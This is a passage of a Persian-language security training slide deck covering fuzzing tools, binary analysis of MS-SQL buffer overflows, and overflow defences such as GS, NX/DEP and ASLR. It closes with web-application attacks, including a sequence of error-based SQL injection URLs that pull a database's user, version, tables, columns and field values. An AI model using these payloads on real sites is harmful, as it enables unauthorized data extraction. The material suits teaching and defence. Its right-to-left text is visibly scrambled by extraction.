                                 ‫“‪“Sulley Fuzzing Framework‬‬          ‫‪‬‬
             ‫‪http//:www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip‬‬



                                                                            ‫72‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
                                                ‫برخی از ‪ Fuzzer‬های موجود‬            ‫‪‬‬
              ‫‪ :PROTOS‬بررسی موثر پروتکل هایی همچون ‪SNMP ,SIP‬و ...‬               ‫‪‬‬
 ‫‪ :CodeNomicon‬شرکتی تجاری ، اراده دهنده ‪ Fuzzer‬برای بیش از 08 پروتکل‬            ‫‪‬‬
                              ‫مختلف ، وابسته به تیم تحقیقاتی بنیانگذار ‪PROTOS‬‬
 ‫‪ SMUDGE :General Fuzzing Framework‬برای پروتکل های تحت شبکه‬                     ‫‪‬‬
‫‪ : SPIKE‬یکی از شناخته شده ترین ‪ Fuzzer‬های ‪ General‬برای پروتکل های تحت‬           ‫‪‬‬
                                                                         ‫شبکه‬
   ‫‪ : Peach‬یک ‪ framework‬مبتنی بر ‪ Python‬با پشتیبانی از پروتکل های متعدد‬         ‫‪‬‬
                         ‫‪ : MangleMe‬یک ‪ fuzzer‬برای بررسی ‪ Browser‬ها‬             ‫‪‬‬
                                  ‫‪ : Mangle‬یک فازر برای بررسی ‪File-format‬‬       ‫‪‬‬
                                           ‫‪IRCfuzz :IRC Client Fuzzer‬‬           ‫‪‬‬
                                         ‫‪COMBust :COM Object fuzzer‬‬             ‫‪‬‬
                           ‫لیستی از برخی دیگر از ‪ Fuzzer‬های شناخته شده‬              ‫‪‬‬
                             ‫‪http//:www.fuzzing.org/fuzzing-software ‬‬


                                                                                    ‫82‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬




     ‫‪DEMO‬‬




                                     ‫92‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬
  ‫در صورت در دسترس نبودن کد نرم افزار ، این روش بسیار کارآمد ، و درعین حال مشکل‬         ‫‪‬‬
                                                                               ‫میباشد‬
   ‫بسیاری از مشکلت امنیتی که در نرم افزارهای کد باز رفع شده اند هنوز در نرم افزارهای‬    ‫‪‬‬
                                              ‫انحصاری)‪ (closed-source‬دیده میشوند‬
                                    ‫این روش هنوز یک تکنیک نوپا و ناقص بشمار می آید‬      ‫‪‬‬
  ‫همانند بررسی کد ، در این روش نیز روند و منطق نرم افزار بررسی میگردد ، اما به روش‬      ‫‪‬‬
                                                                      ‫مهندسی معکوس!‬
                                         ‫نیازمند درک و تجربه بال در بررسی زبان ماشین‬    ‫‪‬‬
‫اگرچه تکنیک ‪ Fuzzing‬در بررسی نرم افزارهای ‪ closed-source‬بسیار مفید میباشد اما‬           ‫‪‬‬
 ‫بررسی تمام قابلیت ها و توابع نرم افزار توسط ‪ Fuzzing‬بسیار مشکل و گاهآ نا ممکن است‬
                                                           ‫)‪(Low Code Coverage‬‬
              ‫‪ Binary Audit‬محدوده بیشتری )در واقع کل( از نرم افزار را پوشش می دهد.‬      ‫‪‬‬
     ‫همانند بررسی کد ، توابع آسیب پذیر در فایل باینری نیز دارای مشخصه خاص خود هستند‬     ‫‪‬‬




                                                                                        ‫03‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬
                                         ‫روش ها و دیدگاه های مختلف انجام ‪Static Binary Analyze‬‬                 ‫‪‬‬
‫‪ ‬جستجوی ‪ Pattern‬های مربوط به فراخوانی توابع آسیب پذیر مانند ‪ strcpy,strcat,sprintf‬و سایر موارد‬
                                                                                         ‫مشابه‬
‫در صورتی که کیفیت کد نرم افزار پایین باشد و یا هدف یک بررسی سریع و سطحی باشد از این روش استفاده میشود‬      ‫‪‬‬

                                              ‫‪ ‬آنالیز و بررسی حلقه ها)‪ (loop‬و توابع ‪ read/write‬مشکوک‬
                                                ‫‪:A variable indexed write into a character array‬‬
                                                ‫‪:A variable indexed write to a local stack buffer‬‬
                                 ‫‪:A write to a pointer, followed by an increment of that pointer‬‬
                                     ‫‪:A sign extended copy from an attacker-controlled buffer‬‬
  ‫‪ ‬بررسی منطق نرم افزار . برخی از ضعف های امنیتی هیچ ارتباطی با مشکلت ‪Memory corruption‬‬
                           ‫نداشته و ناشی از منطق اشتباه نرم افزار در برخورد با داده ها هستند.‬
                                                            ‫مثال : مشکل امنیتی ‪IIS Double Decode‬‬           ‫‪‬‬

                                       ‫کشف این دسته از مشکلت توسط ‪ Binary Audit‬بسیار مشکل میباشد‬           ‫‪‬‬

                                 ‫‪ ‬بررسی تفاوت های بین نسخه های مختلف یک برنامه آسیب پذیر )‪(Diffing‬‬
                               ‫ممکن است جزئیات مشکل امنیتی دقیقآ منتشر نشود ، اما آگاهی از آنها لزم باشد‬   ‫‪‬‬

          ‫ممکن است تولید کننده نرم افزار بدون اعلم عمومی ، اقدام به رفع یک مشکل امنیتی در نرم افزار کند‬    ‫‪‬‬

             ‫استفاده از ابزارهایی که تفاوت های میان دو نسخه متفاوت از یک فایل را نمایان میکنند )‪(BinDiff‬‬   ‫‪‬‬

‫-‪http//:www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode‬‬                          ‫‪‬‬

                                                 ‫‪http//:www.zynamics.com/files/ms08001.swf‬‬                 ‫‪‬‬

                ‫‪ ‬در همه این موارد ، استفاده از ابزارهای پیشرفته برای کمک به بررسی ، اجتناب ناپذیر است‬
                 ‫بررسی گراف های رسم شده بر اساس بخش های مختلف نرم افزار ، کار را بسیار آسان تر میکند‬       ‫‪‬‬

                                ‫قابلیت های رسم گراف در نرم افزار ‪ IDA Pro‬و نرم افزار جانبی ‪BinNavy‬‬         ‫‪‬‬

                                                                                                               ‫13‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Binary Analyze‬‬




                                            ‫23‬
Binary Analyze -‫شناسایی مشکلت امنیتی نرم افزار‬
        ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مثال : مشکل سرریز بافر در‬                            
                                                           ()sprintf
mov edx, ]ebp+var_24C8[                ;‫متغیر با سایز4201 بایت که از پکت ارسالی خوانده میشود‬
push edx
push offset aSoftwareMic_17 ; ”SOFTWAREMicrosoftMicrosoft SQL
Server”...
push offset aSSMssqlserverC ; ”%s%sMSSQLServerCurrentVersion”
lea eax, ]ebp+var_84[                  ; ‫! بافر پشته با سایز821 بایت‬
push eax
call ds:sprintf
add esp, 10h

 ()strcpy ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مشکل امنیتی دیگری در‬                               
mov eax, ]ebp+arg_4[
add eax, ]ebp+var_218[
push eax
lea ecx, ]ebp+var_214[                        ; ‫بافر پشته با حجم215 بایت که محتوای آن از پکت‬
                                                       ‫دریافت شده و بدون کنترل سایز کپی میشود‬
push ecx
call strcpy
add esp, 8
                                                                                                33
‫شناسایی مشکلت امنیتی نرم افزار‬
        ‫سه روش کلی یاد شده هر یک به تنهایی میتوانند نتیجه های خوبی را در حاصل شوند‬             ‫‪‬‬
                          ‫ترکیب روش های فوق ، بازدهی آنالیز را بسیار افزایش میدهد‬              ‫‪‬‬
                         ‫یک دیدگاه در این مورد ، ترکیب ‪ Fuzzing‬با آنالیز کد میباشد‬             ‫‪‬‬
  ‫‪ ‬همزمان با ‪ ، Fuzzing‬سورس کد نیز بررسی میگردد تا میزان ‪ cove-coverage‬در زمان‬
                                                           ‫‪ Fuzzing‬مشخص گردد .‬
‫‪ ‬با این روش میتوان مشخص کرد که کدام یک از بخش های نرم افزار یا کد توسط ‪ Fuzzer‬پوشش‬
                                            ‫داده شده ، و کدام بخش ها عمل بررسی نشده‬
                                 ‫‪http//:en.wikipedia.org/wiki/Code_coverage ‬‬
       ‫دیدگاه دیگر ، ترکیب ‪ Fuzzing‬با آنالیز ‪ Binary‬در زمان اجرای نرم افزار میباشد.‬            ‫‪‬‬
                   ‫‪ ‬استفاده از ‪ Debugger/Disassembler‬ها برای راهنمایی ‪ Fuzzer‬ها‬
                                             ‫‪ ‬افزایش ‪ Code Coverage‬در ‪Fuzzing‬‬
 ‫‪ ‬مقاله جالب “‪http//:uninformed.org/v?=all&a=t&27=pdf “Effective Bug Discovery‬‬
           ‫‪ “E volutionaryF uzzingSystem“ ‬یک ‪ framework‬با دیدی جدید نسبت به ‪Fuzzing‬‬
          ‫‪ ‬فراگرفتن پروتکل های جدید بصورت پویا و کمک گرفتن از آنالیز نرم افزار در زمان اجرا‬
                                         ‫‪http://www.vdalabs.com/tools/efs_gpf.html ‬‬




                                                                                               ‫43‬
‫مقابله با حملت سرریز بافر‬
 ‫اولین و بهترین روش مقابله با این دسته از مشکلت امنیتی ، رعایت نکات امنیتی در زمان‬        ‫‪‬‬
                                                               ‫تولید نرم افزار میباشد‬
                                      ‫استفاده از متدلوژی ‪ SDLC‬در تولید نرم افزار‬          ‫‪‬‬
 ‫مقابله به روش پیشگیری ، تنها در صورتی ممکن است که سورس کد نرم افزار در دسترس‬             ‫‪‬‬
                                                                              ‫باشد ،‬
                                                       ‫اما مشکلتی نیز وجود دارد !‬         ‫‪‬‬
                                                                ‫نرم افزارهای قدیمی‬    ‫‪‬‬
                                                       ‫عدم دسترسی به ‪Developer‬‬        ‫‪‬‬
                                              ‫عدم آگاهی ‪ Developer‬از نکات امنیتی‬      ‫‪‬‬
                                                              ‫اشتباهات برنامه نویسی‬   ‫‪‬‬
                                                  ‫نرم افزار های ‪! Closed-Source‬‬       ‫‪‬‬
‫راهکارهایی برای مقابله با این قبیل مشکلت وجود دارند ، اما هیچ یک مشکل را بطور کامل‬        ‫‪‬‬
               ‫حل نکرده و تنها شرایط برای استفاده از مشکل امنیتی را مشکل تر می کنند .‬
    ‫بسته به شرایط و اختیارات و امکانات در دسترس ، از یک یا چند راهکار استفاده میشود.‬      ‫‪‬‬




                                                                                          ‫53‬
‫مقابله با حملت سرریز بافر‬

‫دیدگاه های مختلفی برای مقابله با حملت سرریز بافر وجود دارد و‬               ‫‪‬‬
                        ‫بر همین اساس روش های مختلف نیز:‬
        ‫‪ ‬تشخیص مشکلت امنیتی در خلل روند تولید ، و گوشزد کردن آنها‬
 ‫‪ ‬سعی در پیشگیری از بروز مشکلت سرریز بافر و اضافه کردن تمهیداتی‬
                                       ‫به برنامه ، در زمان کامپایل کردن‬
‫‪ ‬پیاده سازی تمهیدات امنیتی در سطح سیستم عامل برای تشخیص و یا مقابله‬
                                                  ‫با حملت سرریز بافر‬
      ‫‪ ‬استفاده از بسته های نرم افزاری الحاقی به سیستم عامل ، برای جبران‬
                                          ‫کمبود های امنیتی سیستم عامل‬
     ‫‪ ‬استفاده ازبسته های نرم افزاری جانبی ، برای جبران و یا تکمیل کمبود‬
                                                ‫های امنیتی سیستم عامل‬
   ‫‪ ‬ترکیب امکانات امنیتی سیستم عامل با امکانات اراده شده توسط پردازنده‬


                                                                           ‫63‬
‫مقابله با حملت سرریز بافر‬
                                                                                                      ‫کامپایلرهای امن‬   ‫‪‬‬
                                                                                      ‫‪Visual Studio >2003 ‬‬
                                                       ‫محافظت در برابر حملت سرریز بافر در ‪Stack‬‬                 ‫‪‬‬

  ‫اساس بخش زیادی از امنیت در مقابل حملت ‪ stack overflow‬در ویندوز سرور 3002 1‪ SP‬و 2‪ XP SP‬و‬                       ‫‪‬‬
                                                                                     ‫نسخه های جدید تر‬
     ‫اضافه کردن بخش هایی به کد در زمان کامپایل )‪ (Buffer Security Checks‬برای کنترل صحت ‪return‬‬                   ‫‪‬‬
                                                            ‫‪ address‬ها و سایر بخش های مهم ‪Stack‬‬
                                                                      ‫آشنایی با مفهوم ‪Stack Cookies‬‬             ‫‪‬‬

                              ‫اضافه شده به ‪ Visual Studio‬از نسخه 3002 و فعال بصورت پیشفرض‬                       ‫‪‬‬

                                   ‫/‪ GS‬مشکلت امنیتی را حل نمیکند بلکه استفاده از آنها را مشکل میکند‬             ‫‪‬‬

                                              ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی وجود دارد‬              ‫‪‬‬
                                                     ‫بازنویسی اشاره گر ‪ SEH‬برای اجرای کد در حافظه‬      ‫‪‬‬
                      ‫‪http//:www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf‬‬            ‫‪‬‬

                               ‫استفاده از /‪ SafeSEH‬برای محافظت از اشاره گر ‪ SEH‬و مقابله با مشکل /‪GS‬‬             ‫‪‬‬

‫کلیه بخش های نرم افزار میبایست توسط این مکانیزم کامپایل شده باشند. وجود برنامه ها / توابع کتابخانه ای محافظت‬    ‫‪‬‬
                                                                               ‫نشده ، کل سیستم را تهدید میکند‬
                                    ‫‪ ‬ماژول های اضافه شده به ‪( GCC (…, StackGuard , ProPolice‬‬
                                                                          ‫آستفاده از ایده ‪Stack Canaries‬‬        ‫‪‬‬

                                                  ‫قابل استفاده در 1.3> ‪ GCC‬با سویچ -‪fstack-protector‬‬            ‫‪‬‬

                                                                   ‫فعال بصورت پیشفرض در 1.4> ‪GCC‬‬                ‫‪‬‬

                                                            ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی :‬        ‫‪‬‬
                ‫‪http//:www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf‬‬             ‫‪‬‬



                                                                                                                        ‫73‬
‫مقابله با حملت سرریز بافر‬
                                                                                                        ‫امکانات ارائه شده توسط پردازنده‬       ‫‪‬‬
                                                                                                           ‫‪(NX Bit (No eXecute‬‬            ‫‪‬‬
                                                                   ‫تقسیم نواحی مختلف حافظه برای ذخیره داده ها و یا دستورات پردازنده‬   ‫‪‬‬

‫پیدا سازی شده در پردازنده های ‪ Intel‬از نسل ‪ Pentium 4 ،AMD‬و ‪ . SPARC‬پردازنده های 46 بیتی پیش از انواع 23 بیتی به این‬                  ‫‪‬‬
                                                                                                                   ‫قابلیت مجهز شدند‬
     ‫پردازنده مجهز به ‪ NX/DX‬به تنهایی قادر به جلوگیری از حملت نیست بلکه این قابلیت میبایست توسط سیستم عامل به کار گرفته شود‬           ‫‪‬‬

                                ‫تقریبآ تمامی سیستم های عامل کنونی ) نسخ جاری و جدید ( هر یک به نحوی از این قابلیت استفاده میکنند.‬     ‫‪‬‬

 ‫‪ NX bit‬در واقع اشاره به آخرین بیت معنی دار از ‪ Page table entry‬در حافظه دارد . 0 بودن این بیت به معنی ‪ executable‬بودن‬                ‫‪‬‬
                                             ‫محتوای این بخش )‪ (page‬و 1 بودن به معانی این است که این بخش تنها حاوی داده ها است.‬
                       ‫در سیستم های ‪ 32bit‬این بیت در واقع وجود ندارد و این راهکار بصورت ‪ Software Emulated‬اجرا میگردد‬                 ‫‪‬‬

                                                  ‫‪ NX‬امکان مقابله با حملت ‪ Stack Overflow‬و ‪ Heap Overflow‬را میسر میکند‬                ‫‪‬‬

                                                                                        ‫تمهیدات پیاده سازی شده در سطح سیستم عامل‬              ‫‪‬‬
  ‫بسیاری از قابلیت های امنیتی پیاده سازی شده در سطح سیستم عامل مبتنی بر ‪ NX‬میباشد و هر سیستم عامل نسخه و روشی‬                             ‫‪‬‬
                                                                    ‫مربوط به خود را معماری کرده و بکار می برد .‬
                         ‫در صورت عدم وجود ‪ CPU‬مجهز به ‪ NX‬این قابلیت بصورت کامل مجازی پیاده سازی میگردد‬                                    ‫‪‬‬
‫)‪ (A ddressS paceL ayoutRandomization‬یکی دیگر از تکنیک های مورد استفاده برای مقابله با حملت سرریز‬                                         ‫‪‬‬
                                                                                                      ‫بافر میباشد‬
‫مفهوم ‪ ASLR‬در سیستم عامل های مختلف با نام های مختلفی پیاده سازی شده اما وجوه مشترک بسیاری میان آنها وجود دارد‬                             ‫‪‬‬
  ‫‪ ASLR‬بصورت تصادفی اقدام به موقعیت دهی به بخش های مختلف یک پروسه در حافظه مینماید که عمومآ شامل ‪Base‬‬                                     ‫‪‬‬
               ‫‪ ، Address‬موقیت قرار گرفتن توابع کتابخانه ایی ، ‪ Stack‬و ‪ Head‬در محدوده آدرس آن پروسه میگردد.‬




                                                                                                                                              ‫83‬
‫مقابله با حملت سرریز بافر‬
                                 ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬       ‫‪‬‬
                                ‫‪ : FreeBSD ‬پشتیبانی از پردازنده های ‪ NX‬از نسخه 3.5‬
              ‫‪ : Linux ‬پشتیبانی از پردازنده های ‪ 32/64bit‬دارای ‪ NX‬از کرنل نسخه 8.6.2‬
      ‫کرنل ‪ 32bit‬ارائه شده توسط برخی نگارش ها مانند 6‪OpenSUSE Ubuntu , Fedora C‬‬      ‫‪‬‬
                       ‫بصورت پیشفرض برای استفاده از ‪ NX‬سخت افزاری تنظیم نشده اند‬
     ‫‪ : RedHat ‬پشتیبانی از ‪ NX‬تمامی ‪ CPU‬هاتوسط راهکار اختصاصی . ‪Exec Shield‬‬
      ‫‪ Emulated-NX‬تنها بر روی پردازنده های 23‪ IA‬پشتیبانی میگردد. ارائه شده در ‪ FC‬و‬
                                                                                ‫‪RHEL‬‬
‫‪ : PAX ‬این تکنولوژی برای پیاده سازی ‪ NX‬در سیستم های فاقد امکان سخت افزاری طراحی شده‬
                                              ‫و کلیه پردازنده های 68‪ x‬را پشتیبانی میکند.‬
                       ‫کرنل لینوکس هنوز بطور پیشفرض این تکنولوژی را بکار نبرده است‬   ‫‪‬‬

  ‫پشتیبانی از ‪,PowerPC ,PA-RISC ,(and 64 bit 32) MIPS ,IA-64 ,AMD64 ,Alpha‬‬           ‫‪‬‬
                                                                        ‫‪SPARC‬‬
    ‫استفاده شده بطور پیشفرض در ‪Adamantix , Hardened Gentoo , Hardened Linux‬‬          ‫‪‬‬

    ‫‪ : Mac OSX ‬پشتیبانی از ‪ NX‬پردازنده های اینتل از نسخه 4.01 و کلیه پردازنده های تحت‬
                                                                            ‫پوشش ‪OSX‬‬




                                                                                           ‫93‬
‫مقابله با حملت سرریز بافر‬
                                                                                     ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬                        ‫‪‬‬
             ‫‪ : Windows‬پشتیبانی از ‪ NX‬برای اولین بار در معماری 68‪ x‬از نسخه 2‪ XP SP‬و 3002 1‪Server SP‬‬                                                         ‫‪‬‬
                                                            ‫ارائه شده تحت نام ‪( DEP (Data Execution Prevention‬‬                                          ‫‪‬‬

                                               ‫بطور پیشفرض تنها پروسه ها و سرویس های اصلی سیستم عامل محافظت میشوند‬                                      ‫‪‬‬

                                                      ‫در صورت پشتیبانی پردازنده از ‪ NX ،DEP‬بطور خودکار فعال میگردد‬                                      ‫‪‬‬

‫در نسخه های اولیه ‪ ، DEP‬از ‪ ASLR‬استفاده نشده ! امکان دور زدن ‪ DEP‬و حتی غیر فعال کردن این مکانیزم توسط حملت -‪return‬‬                                      ‫‪‬‬
                                                                                     ‫‪ to-libc‬به همین دلیل میسر میشود.‬
                                               ‫مثالی عینی از حمله به ‪ DEP‬حتی با وجود بکار بستن کلیه تمهیدات امنیتی ‪ NX‬و سیستم عامل!‬                 ‫‪‬‬
                ‫‪http//:metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb‬‬                                        ‫‪‬‬
                                       ‫مقاله ای بسیار جالب از نحوه دور زدن مکانیزم ‪http//:uninformed.org/v?=a&2=4 NX+DEP‬‬                            ‫‪‬‬

  ‫‪ (SafeSEH (Software DEP‬تکنولوژی دیگری میباشد که به ‪ NX‬ارتباطی نداشته و برای حفاظت علیه حملت برای سو استفاده از‬                                        ‫‪‬‬
                                                                                               ‫‪ SEH‬پیاده سازی شده است‬
                                                              ‫استفاده از این تکنولوژی منوط به استفاده نرم افزار از آن در زمان تولید )کامپایل( است‬   ‫‪‬‬
        ‫بکمک ‪ SafeSEH‬سیستم عامل تنها اجازه استفاده از ‪ Exception Handler‬هایی را به نرم افزار میدهد که قبل تعریف و ‪ register‬شده اند.‬                 ‫‪‬‬

                                       ‫ویندوز ‪ Vista‬مبتنی بر نسخه جدید ‪ DEP‬میباشد که از تکنولوژی ‪ ASLR‬بهره می برد.‬                                      ‫‪‬‬

              ‫در صورتی که پردازده از ‪ NX‬پشتیبانی نکند ، ویندوز پشتیبانی از این امکان بصورت ‪ Software-Emulated‬را ندارد‬                                   ‫‪‬‬

                                                       ‫‪ : NetBSD‬بهره گیری از ‪ Non Executable Heap/Stack‬از نسخه 0.2‬                                          ‫‪‬‬
                       ‫پشتیبانی از ‪amd64, sparc64, sparc(sun4m, sun4d) , powerpc(ibm4xx), alpha, sh5, hppa‬‬                                              ‫‪‬‬

                                                                   ‫عدم پشتیبانی از ‪ Emulated-NX‬بطور پیشفرض‬                                              ‫‪‬‬

                               ‫‪ : OpenBSD‬پشتیبانی از ‪ NX‬تحت تکنولوژی اختصاصی با نام ‪ ( W^X (WAX‬از نسخه 3.3‬                                                  ‫‪‬‬
                                                                                      ‫پشتیبانی از ‪Alpha, AMD64, HPPA, and SPARC‬‬                         ‫‪‬‬

                                                                                         ‫پشتیباتی از ‪ Emulated-NX‬در برخی از پردازنده ها‬                 ‫‪‬‬

                                                                     ‫‪ : Solaris‬بهره گیری از ‪ Non Executable Stack‬از نسخه 6.2‬                                ‫‪‬‬




                                                                                                                                                                ‫04‬
‫مقابله با حملت سرریز بافر‬




                       ‫14‬
‫مقابله با حملت سرریز بافر‬
                                                            ‫استفاده از نرم افزارها و الحاقیه های جانبی‬    ‫‪‬‬
                                                                               ‫‪ ‬بهبود امنیت سیستم عامل‬
‫اضافه کردن قابلیت های امنیتی مورد نیاز به سیستم عامل ، در صورت عدم وجود آنها بصورت پیشفرض‬           ‫‪‬‬
                         ‫‪… , ASLR , Non Executable Stack/Heap , Security Policies‬‬              ‫‪‬‬
                                                                                  ‫‪GRSecurity‬‬   ‫‪‬‬
                                       ‫‪http://www.grsecurity.net/features.php ‬‬
                                                        ‫‪ ‬اضافه کردن ‪ PAX‬به کرنل لینوکس‬
                         ‫‪ ‬مقابله با ‪ Stack/Heap Overflow‬با استفاده از تکنیک های مختلف‬
                                                          ‫‪ ‬بهبود امنیت کامپایلر سیستم عامل‬
                                                           ‫‪ } ... ‬و بسیاری امکانات دیگر!{‬
                                                ‫‪ ‬استفاده از نرم افزارهای جانبی برای مقابله با حملت‬
                                                         ‫رایج در سیستم عامل های خانواده ویندوز‬      ‫‪‬‬

                                          ‫جبران کمبود های امنیتی سیستم عامل مانند ‪ NX‬و ‪ASLR‬‬         ‫‪‬‬

                      ‫تشخیص حملت سرریز بافر از طریق مانیتور کردن حافظه و جلوگیری از آنها‬            ‫‪‬‬

                ‫استفاده در کنار قابلیت های امنیتی سیستم عامل ، برای پیچیده تر کردن مکانیزم حملت‬     ‫‪‬‬

         ‫استفاده در مواردی که ناچار به استفاده از سیستم عامل های نا امن و یا نسخه های قدیمی هستیم‬   ‫‪‬‬

                              ‫استفاده بعنوان ‪(HIPS (Host Intrusion Prevention System‬‬                ‫‪‬‬

                                                  ‫ارائه غالبآ بصورت بسته های نرم افزاری تجاری‬       ‫‪‬‬
                  ‫‪http://www.eeye.com/html/products/blink/index.html : Eeye Blink‬‬              ‫‪‬‬
                                          ‫‪/http://www.wehnus.com : WhehnTrust‬‬                  ‫‪‬‬
                                         ‫‪http://www.ngsec.com : StackDefender‬‬                  ‫‪‬‬
                                                             ‫... }‪{!Google for more‬‬            ‫‪‬‬




                                                                                                          ‫24‬
‫حمله به نرم افزارهای تحت وب‬

   ‫روز به روز بر محبوبیت و کاربرد نرم افزارهای تحت وب اضافه میگردد‬      ‫‪‬‬

 ‫نقطه شروع بسیاری از حملت علیه سیستم ها و شبکه ها نرم افزارهای تحت‬      ‫‪‬‬
                                                           ‫وب میباشد‬
‫در بسیاری از موارد ، نرم افزارهای تحت وب تنها نقطه دسترسی یک نفوذگر‬     ‫‪‬‬
                                  ‫به سیستم های هدف قرار گرفته میباشند‬
      ‫در ادامه برخی از حملت شایع علیه نرم افزارهای تحت وب و همچنین‬      ‫‪‬‬
 ‫راهکارهایی برای پیشگیری و مقابله با این حملت مورد بررسی قرار خواهد‬
                                                                ‫گرفت‬




                                                                        ‫34‬
‫حمله به نرم افزارهای تحت وب‬

‫ آشنایی با انواع حملت مبتنی بر نرم افزارهای تحت وب‬
                      Cross-Site Scripting     

                              SQL Injection    

                         Command Injection     

                    Dynamic code execution     

                   Cookie/Session Hijacking    

                  Parameter/form Tampering     

                           Buffer Overflows    

                         Directory Traversal   

                          Forceful Browsing    

                      Information Leakages     

                       Harvesting Attacks      




                                                      44
‫حمله به نرم افزارهای تحت وب‬

‫‪ ‬آشنایی با آناتومی حمله به سیستم های تحت وب‬
               ‫پویش برای شناسایی نرم افزار تحت وب‬       ‫‪‬‬

‫‪Web Spidering and User directed spidering‬‬       ‫‪‬‬

             ‫‪Discovering Hidden contents‬‬        ‫‪‬‬

‫‪Checking search engines and archive sites‬‬       ‫‪‬‬

         ‫‪Brute-forcing directories and files‬‬    ‫‪‬‬

       ‫‪Identify entry points for user inputs‬‬    ‫‪‬‬

                  ‫جمع آوری اطلعات و شناسایی هدف‬         ‫‪‬‬

                              ‫شناسایی وب سرور‬   ‫‪‬‬

                   ‫شناسایی ‪Application Server‬‬   ‫‪‬‬

                  ‫تست و بررسی وجود آسیب پذیری ها‬        ‫‪‬‬

              ‫طراحی روش حمله و نحوه پیاده سازی آن‬       ‫‪‬‬

                                      ‫پیاده سازی حمله‬   ‫‪‬‬




                                                            ‫54‬
‫حمله به نرم افزارهای تحت وب‬

              ‫‪ ‬بررسی حملت ‪SQL Injection‬‬
      ‫‪ ‬آشنایی با مکانیزم حملت ‪SQL Injection‬‬
       ‫‪ ‬نحوه جستجو و شناسایی ‪SQL Injection‬‬
                       ‫‪Blind SQL Injection ‬‬
                     ‫‪Normal SQL Injection ‬‬
              ‫‪ ‬عبور از فرم های اعتبار سنجی‬
    ‫‪ ‬تزریق دستورات ( )‪SELECT,UNION‬‬
‫‪SELECT,INSERT,UPDATE,DELETE‬‬
 ‫‪ ‬استخراج اطلعات مفید اولیه از بانک اطلعاتی‬
                 ‫‪ ‬مشخص کردن نسخه بانک اطلعاتی‬
‫‪ ‬مشخص کردن نام کاربری مورد استفاده بانک اطلعاتی‬


                                                   ‫64‬
‫حمله به نرم افزارهای تحت وب‬
                                     ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬            
                                                                        : Integer ‫بررسی پارامتر از نوع‬    
                                                         –http://[site]/page.asp?id=1 having 1=1    

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    .function and there is no GROUP BY clause
                                                                          : String ‫بررسی پارامتر از نوع‬   
                                                         –http://[site]/page.asp?id=x' having 1=1   

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    .function and there is no GROUP BY clause
                                                                         ‫استخراج نام کاربر بانک اطلعاتی‬   
                                           –((http://[site]/page.asp?id=1 or 1=convert(int,(USER    

            .Syntax error converting the nvarchar value '[DB USER]' to a column of data type int    

                                                                              ‫استخراج نام بانک اطلعاتی‬    
                                       –((http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME     

            .Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int    

                                                                            ‫استخراج نسخه بانک اطلعاتی‬     
                                   –((http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION       

        .Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int     

                                                                                      ‫استخراج نام سرور‬    
                             –((http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME          

      .Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int      




                                                                                                              47
‫حمله به نرم افزارهای تحت وب‬
                                              (2) ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬                
   ‫استخراج نام اولین‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))–
         Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.
   ‫استخراج نام دومین‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE-
          NAME-1'))–
         Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.
   ‫استخراج نام سومین‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE-
          NAME-2'))-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.
   ‫استخراج نام اولین‬Column ‫در‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where
          table_name='TABLE-NAME-1'))–
         Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.
   ‫استخراج نام دومین‬Column ‫در‬Table
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where
          table_name='TABLE-NAME-1' and column_name>'COLUMN-NAME-1'))–
         Syntax error converting the nvarchar value '[COLUMN NAME 2]' to a column of data type int.
   ‫استخراج اولین‬Field ‫از اولین‬Row
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1))–
         Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.
   ‫استخراج دومین‬Field ‫از اولین‬Row
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-2 from TABLE-NAME-1))–
         Syntax error converting the nvarchar value '[FIELD 2 VALUE]' to a column of data type int.
   ‫استخراج اولین‬Field ‫از دومین‬Row
         http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN-
          NAME-1 NOT in ('FIELD-1-VALUE') order by COLUMN-NAME-1 desc))–
         Syntax error converting the nvarchar value '[FIELD 1 VALUE OF 2ND ROW]' to a column of data type int.


                                                                                                                             48
‫حمله به نرم افزارهای تحت وب‬
